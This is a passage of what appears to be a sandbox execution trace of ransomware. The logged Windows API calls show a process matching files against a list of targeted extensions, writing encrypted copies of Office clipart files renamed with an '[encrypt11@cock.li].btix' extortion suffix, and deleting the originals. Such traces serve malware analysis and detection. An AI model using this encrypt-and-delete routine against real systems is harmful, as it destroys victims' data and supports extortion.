68 [0160.129] lstrlenW (lpString=".doc") returned 4 [0160.129] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.129] lstrlenW (lpString=".docx") returned 5 [0160.129] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0160.129] lstrlenW (lpString=".pdf") returned 4 [0160.129] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.129] lstrlenW (lpString=".xls") returned 4 [0160.129] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.129] lstrlenW (lpString=".xlsx") returned 5 [0160.129] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0160.129] lstrlenW (lpString=".ppt") returned 4 [0160.129] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240157.WMF") returned 68 [0160.129] lstrlenW (lpString=".zip") returned 4 [0160.129] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.129] lstrlenW (lpString=".rar") returned 4 [0160.129] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.129] lstrlenW (lpString=".bz2") returned 4 [0160.129] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.129] lstrlenW (lpString=".7z") returned 3 [0160.129] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240157.WMF") returned 68 [0160.130] lstrlenW (lpString=".dbf") returned 4 [0160.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240157.WMF") returned 68 [0160.130] lstrlenW (lpString=".1cd") returned 4 [0160.130] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240157.WMF") returned 68 [0160.130] lstrlenW (lpString=".jpg") returned 4 [0160.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.130] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.130] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241077.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241077.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0160.131] GetLastError () returned 0x0 [0160.131] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x82a, lpOverlapped=0x0) returned 1 [0160.132] WriteFile (in: hFile=0x358, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x830, lpOverlapped=0x0) returned 1 [0160.133] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.133] WriteFile (in: hFile=0x358, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0160.133] SetEndOfFile (hFile=0x358) returned 1 [0160.133] CloseHandle (hObject=0x358) returned 1 [0160.133] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.133] SetEndOfFile (hFile=0x3a4) returned 1 [0160.134] CloseHandle (hObject=0x3a4) returned 1 [0160.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241077.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.134] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241077.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241077.wmf")) returned 1 [0160.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241077.WMF") returned 68 [0160.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241077.WMF") returned 68 [0160.135] lstrlenW (lpString=".doc") returned 4 [0160.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.135] lstrlenW (lpString=".docx") returned 5 [0160.135] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0160.135] lstrlenW (lpString=".pdf") returned 4 [0160.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.135] lstrlenW (lpString=".xls") returned 4 [0160.135] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.135] lstrlenW (lpString=".xlsx") returned 5 [0160.135] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0160.135] lstrlenW (lpString=".ppt") returned 4 [0160.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241077.WMF") returned 68 [0160.135] lstrlenW (lpString=".zip") returned 4 [0160.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.135] lstrlenW (lpString=".rar") returned 4 [0160.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.135] lstrlenW (lpString=".bz2") returned 4 [0160.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.135] lstrlenW (lpString=".7z") returned 3 [0160.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241077.WMF") returned 68 [0160.136] lstrlenW (lpString=".dbf") returned 4 [0160.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241077.WMF") returned 68 [0160.136] lstrlenW (lpString=".1cd") returned 4 [0160.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241077.WMF") returned 68 [0160.136] lstrlenW (lpString=".jpg") returned 4 [0160.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.137] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.137] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241773.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0160.137] GetLastError () returned 0x0 [0160.137] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0xcbe, lpOverlapped=0x0) returned 1 [0160.733] WriteFile (in: hFile=0x358, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xcc0, lpOverlapped=0x0) returned 1 [0160.734] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.734] WriteFile (in: hFile=0x358, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0160.734] SetEndOfFile (hFile=0x358) returned 1 [0160.734] CloseHandle (hObject=0x358) returned 1 [0160.734] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.735] SetEndOfFile (hFile=0x3a4) returned 1 [0160.735] CloseHandle (hObject=0x3a4) returned 1 [0160.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0161.005] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241773.wmf")) returned 1 [0161.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF") returned 68 [0161.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF") returned 68 [0161.006] lstrlenW (lpString=".doc") returned 4 [0161.006] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.006] lstrlenW (lpString=".docx") returned 5 [0161.006] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0161.006] lstrlenW (lpString=".pdf") returned 4 [0161.006] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.006] lstrlenW (lpString=".xls") returned 4 [0161.006] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.006] lstrlenW (lpString=".xlsx") returned 5 [0161.006] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0161.006] lstrlenW (lpString=".ppt") returned 4 [0161.006] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF") returned 68 [0161.006] lstrlenW (lpString=".zip") returned 4 [0161.006] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.006] lstrlenW (lpString=".rar") returned 4 [0161.006] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.007] lstrlenW (lpString=".bz2") returned 4 [0161.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.007] lstrlenW (lpString=".7z") returned 3 [0161.007] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF") returned 68 [0161.007] lstrlenW (lpString=".dbf") returned 4 [0161.007] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF") returned 68 [0161.007] lstrlenW (lpString=".1cd") returned 4 [0161.007] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF") returned 68 [0161.007] lstrlenW (lpString=".jpg") returned 4 [0161.007] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.007] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.007] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281243.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0161.008] GetLastError () returned 0x0 [0161.008] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0xb5b4, lpOverlapped=0x0) returned 1 [0161.079] WriteFile (in: hFile=0x374, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xb5c0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xb5c0, lpOverlapped=0x0) returned 1 [0161.080] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.080] WriteFile (in: hFile=0x374, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.081] SetEndOfFile (hFile=0x374) returned 1 [0161.081] CloseHandle (hObject=0x374) returned 1 [0161.081] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.081] SetEndOfFile (hFile=0x37c) returned 1 [0161.082] CloseHandle (hObject=0x37c) returned 1 [0161.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0161.082] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281243.wmf")) returned 1 [0161.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF") returned 68 [0161.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF") returned 68 [0161.084] lstrlenW (lpString=".doc") returned 4 [0161.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.084] lstrlenW (lpString=".docx") returned 5 [0161.084] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0161.084] lstrlenW (lpString=".pdf") returned 4 [0161.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.084] lstrlenW (lpString=".xls") returned 4 [0161.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.084] lstrlenW (lpString=".xlsx") returned 5 [0161.084] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0161.084] lstrlenW (lpString=".ppt") returned 4 [0161.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF") returned 68 [0161.084] lstrlenW (lpString=".zip") returned 4 [0161.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.084] lstrlenW (lpString=".rar") returned 4 [0161.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.085] lstrlenW (lpString=".bz2") returned 4 [0161.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.085] lstrlenW (lpString=".7z") returned 3 [0161.085] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF") returned 68 [0161.085] lstrlenW (lpString=".dbf") returned 4 [0161.085] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF") returned 68 [0161.085] lstrlenW (lpString=".1cd") returned 4 [0161.085] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF") returned 68 [0161.085] lstrlenW (lpString=".jpg") returned 4 [0161.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.089] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.089] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281632.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0161.090] GetLastError () returned 0x0 [0161.090] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x3854, lpOverlapped=0x0) returned 1 [0161.392] WriteFile (in: hFile=0x394, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x3860, lpOverlapped=0x0) returned 1 [0161.392] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.393] WriteFile (in: hFile=0x394, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.393] SetEndOfFile (hFile=0x394) returned 1 [0161.393] CloseHandle (hObject=0x394) returned 1 [0161.393] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.393] SetEndOfFile (hFile=0x3a0) returned 1 [0161.394] CloseHandle (hObject=0x3a0) returned 1 [0161.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0161.394] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281632.wmf")) returned 1 [0161.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF") returned 68 [0161.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF") returned 68 [0161.761] lstrlenW (lpString=".doc") returned 4 [0161.761] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.761] lstrlenW (lpString=".docx") returned 5 [0161.761] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0161.761] lstrlenW (lpString=".pdf") returned 4 [0161.761] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.761] lstrlenW (lpString=".xls") returned 4 [0161.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.761] lstrlenW (lpString=".xlsx") returned 5 [0161.761] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0161.761] lstrlenW (lpString=".ppt") returned 4 [0161.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF") returned 68 [0161.761] lstrlenW (lpString=".zip") returned 4 [0161.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.761] lstrlenW (lpString=".rar") returned 4 [0161.761] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.761] lstrlenW (lpString=".bz2") returned 4 [0161.761] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.761] lstrlenW (lpString=".7z") returned 3 [0161.761] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF") returned 68 [0161.761] lstrlenW (lpString=".dbf") returned 4 [0161.761] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF") returned 68 [0161.761] lstrlenW (lpString=".1cd") returned 4 [0161.761] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF") returned 68 [0161.761] lstrlenW (lpString=".jpg") returned 4 [0161.761] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.765] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.765] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282932.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282932.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0161.766] GetLastError () returned 0x0 [0161.766] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x3700, lpOverlapped=0x0) returned 1 [0161.927] WriteFile (in: hFile=0x394, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3710, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x3710, lpOverlapped=0x0) returned 1 [0161.933] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.933] WriteFile (in: hFile=0x394, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.933] SetEndOfFile (hFile=0x394) returned 1 [0161.933] CloseHandle (hObject=0x394) returned 1 [0161.933] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.933] SetEndOfFile (hFile=0x3a0) returned 1 [0161.934] CloseHandle (hObject=0x3a0) returned 1 [0161.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282932.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0161.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282932.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282932.wmf")) returned 1 [0161.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282932.WMF") returned 68 [0161.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282932.WMF") returned 68 [0161.935] lstrlenW (lpString=".doc") returned 4 [0161.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.935] lstrlenW (lpString=".docx") returned 5 [0161.935] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0161.935] lstrlenW (lpString=".pdf") returned 4 [0161.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.935] lstrlenW (lpString=".xls") returned 4 [0161.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.935] lstrlenW (lpString=".xlsx") returned 5 [0161.935] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0161.935] lstrlenW (lpString=".ppt") returned 4 [0161.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282932.WMF") returned 68 [0161.935] lstrlenW (lpString=".zip") returned 4 [0161.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.935] lstrlenW (lpString=".rar") returned 4 [0161.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.935] lstrlenW (lpString=".bz2") returned 4 [0161.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.935] lstrlenW (lpString=".7z") returned 3 [0161.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282932.WMF") returned 68 [0161.935] lstrlenW (lpString=".dbf") returned 4 [0161.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282932.WMF") returned 68 [0161.936] lstrlenW (lpString=".1cd") returned 4 [0161.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282932.WMF") returned 68 [0161.936] lstrlenW (lpString=".jpg") returned 4 [0161.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.936] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.936] SetFilePointerEx 